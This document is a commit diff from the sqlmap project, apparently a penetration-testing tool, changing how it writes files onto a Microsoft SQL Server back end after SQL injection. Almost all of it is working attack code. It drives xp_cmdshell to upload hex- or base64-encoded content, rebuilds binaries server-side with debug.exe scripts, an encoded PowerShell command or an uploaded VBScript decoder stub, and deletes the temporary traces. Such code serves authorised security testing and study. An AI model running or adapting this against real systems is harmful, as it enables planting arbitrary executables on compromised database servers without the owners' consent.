mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 20:51:31 +00:00
Added support to create files with a visual basic script - no longer reliant on debug.exe so works on Windows 64-bit too. Fixes #236
This commit is contained in:
Bernardo Damele
@@ -16,6 +16,8 @@ from lib.core.common import isNumPosStrValue
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from lib.core.common import isTechniqueAvailable
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from lib.core.common import posixToNtSlashes
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.convert import hexencode
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from lib.core.data import conf
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from lib.core.data import logger
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from lib.core.enums import CHARSET_TYPE
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@@ -31,6 +33,55 @@ class Filesystem(GenericFilesystem):
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def __init__(self):
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GenericFilesystem.__init__(self)
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def __dataToScr(self, fileContent, chunkName):
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fileLines = []
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fileSize = len(fileContent)
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lineAddr = 0x100
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lineLen = 20
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fileLines.append("n %s" % chunkName)
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fileLines.append("rcx")
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fileLines.append("%x" % fileSize)
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fileLines.append("f 0100 %x 00" % fileSize)
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for fileLine in xrange(0, len(fileContent), lineLen):
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scrString = ""
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for lineChar in fileContent[fileLine:fileLine+lineLen]:
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strLineChar = hexencode(lineChar)
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if not scrString:
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scrString = "e %x %s" % (lineAddr, strLineChar)
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else:
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scrString += " %s" % strLineChar
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lineAddr += len(lineChar)
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fileLines.append(scrString)
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fileLines.append("w")
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fileLines.append("q")
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return fileLines
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def __updateDestChunk(self, fileContent, tmpPath):
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randScr = "tmpf%s.scr" % randomStr(lowercase=True)
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chunkName = randomStr(lowercase=True)
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fileScrLines = self.__dataToScr(fileContent, chunkName)
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logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr))
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self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr)
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logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr))
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commands = ( "cd %s" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr )
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complComm = " & ".join(command for command in commands)
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self.execCmd(complComm)
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return chunkName
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def unionReadFile(self, rFile):
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errMsg = "Microsoft SQL Server does not support file reading "
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errMsg += "with UNION query SQL injection technique"
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@@ -120,32 +171,49 @@ class Filesystem(GenericFilesystem):
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errMsg += "UNION query SQL injection technique"
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raise sqlmapUnsupportedFeatureException(errMsg)
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def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
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# NOTE: this is needed here because we use xp_cmdshell extended
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# procedure to write a file on the back-end Microsoft SQL Server
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# file system. Maybe it won't be required to write text files
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self.initEnv()
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def __stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType):
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infoMsg = "using PowerShell to write the %s file content " % fileType
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infoMsg += "to file '%s', please wait.." % dFile
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logger.info(infoMsg)
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self.getRemoteTempPath()
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randFile = "tmpf%s.txt" % randomStr(lowercase=True)
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randFilePath = "%s\%s" % (tmpPath, randFile)
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encodedFileContent = hexencode(wFileContent)
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debugMsg = "going to use xp_cmdshell extended procedure to write "
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debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
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logger.debug(debugMsg)
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# TODO: need to be fixed
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psString = "$s = gc '%s';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %%{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('%s',$b)" % (randFilePath, dFile)
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psString = psString.encode('utf-16le')
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psString = psString.encode("base64")[:-1].replace("\n", "")
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logger.debug("uploading the file hex-encoded content to %s, please wait.." % randFilePath)
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self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)
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logger.debug("converting the file utilizing PowerShell EncodedCommand")
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commands = ( "cd %s" % tmpPath,
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"powershell -EncodedCommand %s" % psString,
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"del /F /Q %s" % randFilePath )
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complComm = " & ".join(command for command in commands)
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self.execCmd(complComm)
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def __stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
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infoMsg = "using debug.exe to write the %s " % fileType
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infoMsg += "file content to file '%s', please wait.." % dFile
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logger.info(infoMsg)
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debugSize = 0xFF00
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tmpPath = posixToNtSlashes(conf.tmpPath)
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dFile = posixToNtSlashes(dFile)
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dFileName = ntpath.basename(dFile)
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sFile = "%s\%s" % (tmpPath, dFileName)
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wFileSize = os.path.getsize(wFile)
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wFilePointer = codecs.open(wFile, "rb")
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wFileContent = wFilePointer.read()
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wFilePointer.close()
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debugSize = 0xFF00
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if wFileSize < debugSize:
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chunkName = self.updateBinChunk(wFileContent, tmpPath)
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sFile = "%s\%s" % (tmpPath, dFileName)
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chunkName = self.__updateDestChunk(wFileContent, tmpPath)
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logger.debug("moving binary file %s to %s" % (sFile, dFile))
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debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType)
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debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile)
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logger.debug(debugMsg)
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commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile))
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complComm = " & ".join(command for command in commands)
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@@ -153,45 +221,142 @@ class Filesystem(GenericFilesystem):
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self.execCmd(complComm)
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else:
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infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
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infoMsg += "bytes. sqlmap will split it into chunks, upload "
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infoMsg += "them and recreate the original file out of the "
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infoMsg += "binary chunks server-side, please wait.."
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logger.info(infoMsg)
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counter = 1
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debugMsg = "the file is larger than %d bytes. " % debugSize
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debugMsg += "sqlmap will split it into chunks locally, upload "
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debugMsg += "it chunk by chunk and recreate the original file "
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debugMsg += "on the server, please wait.."
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logger.debug(debugMsg)
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for i in xrange(0, wFileSize, debugSize):
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wFileChunk = wFileContent[i:i + debugSize]
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chunkName = self.updateBinChunk(wFileChunk, tmpPath)
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chunkName = self.__updateDestChunk(wFileChunk, tmpPath)
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if i == 0:
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infoMsg = "renaming chunk "
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debugMsg = "renaming chunk "
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copyCmd = "ren %s %s" % (chunkName, dFileName)
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else:
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infoMsg = "appending chunk "
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debugMsg = "appending chunk "
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copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
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infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
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logger.debug(infoMsg)
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debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
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logger.debug(debugMsg)
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commands = ("cd %s" % tmpPath, copyCmd, "del /F %s" % chunkName)
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complComm = " & ".join(command for command in commands)
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self.execCmd(complComm)
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logger.info("file chunk %d written" % counter)
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counter += 1
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sFile = "%s\%s" % (tmpPath, dFileName)
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logger.debug("moving binary file %s to %s" % (sFile, dFile))
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logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile))
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commands = ("cd %s" % tmpPath, "move /Y %s %s" % (dFileName, dFile))
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complComm = " & ".join(command for command in commands)
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self.execCmd(complComm)
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if confirm:
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self.askCheckWrittenFile(wFile, dFile, fileType)
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def __stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
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infoMsg = "using a custom visual basic script to write the "
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infoMsg += "%s file content to file '%s', please wait.." % (fileType, dFile)
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logger.info(infoMsg)
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randVbs = "tmps%s.vbs" % randomStr(lowercase=True)
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randFile = "tmpf%s.txt" % randomStr(lowercase=True)
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randFilePath = "%s\%s" % (tmpPath, randFile)
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vbs = """Dim inputFilePath, outputFilePath
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inputFilePath = "%s"
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outputFilePath = "%s"
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Set fs = CreateObject("Scripting.FileSystemObject")
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Set file = fs.GetFile(inputFilePath)
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If file.Size Then
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Wscript.Echo "Loading from: " & inputFilePath
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Wscript.Echo
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Set fd = fs.OpenTextFile(inputFilePath, 1)
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data = fd.ReadAll
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fd.Close
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data = Replace(data, " ", "")
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data = Replace(data, vbCr, "")
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data = Replace(data, vbLf, "")
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Wscript.Echo "Fixed Input: "
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Wscript.Echo data
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Wscript.Echo
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decodedData = base64_decode(data)
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Wscript.Echo "Output: "
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Wscript.Echo decodedData
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Wscript.Echo
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Wscript.Echo "Writing output in: " & outputFilePath
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Wscript.Echo
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Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True)
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ofs.Write decodedData
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ofs.close
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Else
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Wscript.Echo "The file is empty."
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End If
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Function base64_decode(byVal strIn)
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Dim w1, w2, w3, w4, n, strOut
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For n = 1 To Len(strIn) Step 4
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w1 = mimedecode(Mid(strIn, n, 1))
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w2 = mimedecode(Mid(strIn, n + 1, 1))
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w3 = mimedecode(Mid(strIn, n + 2, 1))
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w4 = mimedecode(Mid(strIn, n + 3, 1))
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If Not w2 Then _
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strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255))
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If Not w3 Then _
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strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255))
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If Not w4 Then _
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strOut = strOut + Chr(((w3 * 64 + w4) And 255))
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Next
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base64_decode = strOut
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End Function
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Function mimedecode(byVal strIn)
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Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
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If Len(strIn) = 0 Then
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mimedecode = -1 : Exit Function
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Else
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mimedecode = InStr(Base64Chars, strIn) - 1
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End If
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End Function""" % (randFilePath, dFile)
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vbs = vbs.replace(" ", "")
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encodedFileContent = wFileContent.encode("base64")[:-1]
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logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
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self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)
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logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs))
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self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)
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commands = ( "cd %s" % tmpPath, "cscript //nologo %s" % randVbs,
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"del /F /Q %s" % randVbs,
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"del /F /Q %s" % randFile )
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complComm = " & ".join(command for command in commands)
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self.execCmd(complComm)
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def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
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# NOTE: this is needed here because we use xp_cmdshell extended
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# procedure to write a file on the back-end Microsoft SQL Server
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# file system
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self.initEnv()
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self.getRemoteTempPath()
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tmpPath = posixToNtSlashes(conf.tmpPath)
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dFile = posixToNtSlashes(dFile)
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wFilePointer = codecs.open(wFile, "rb")
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wFileContent = wFilePointer.read()
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wFilePointer.close()
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self.__stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType)
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sameFile = self.askCheckWrittenFile(wFile, dFile, fileType)
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if sameFile is False:
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message = "do you want to try to upload the file with "
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message += "another technique? [Y/n] "
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choice = readInput(message, default="Y")
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if not choice or choice.lower() == "y":
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self.__stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType)
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#self.__stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType)
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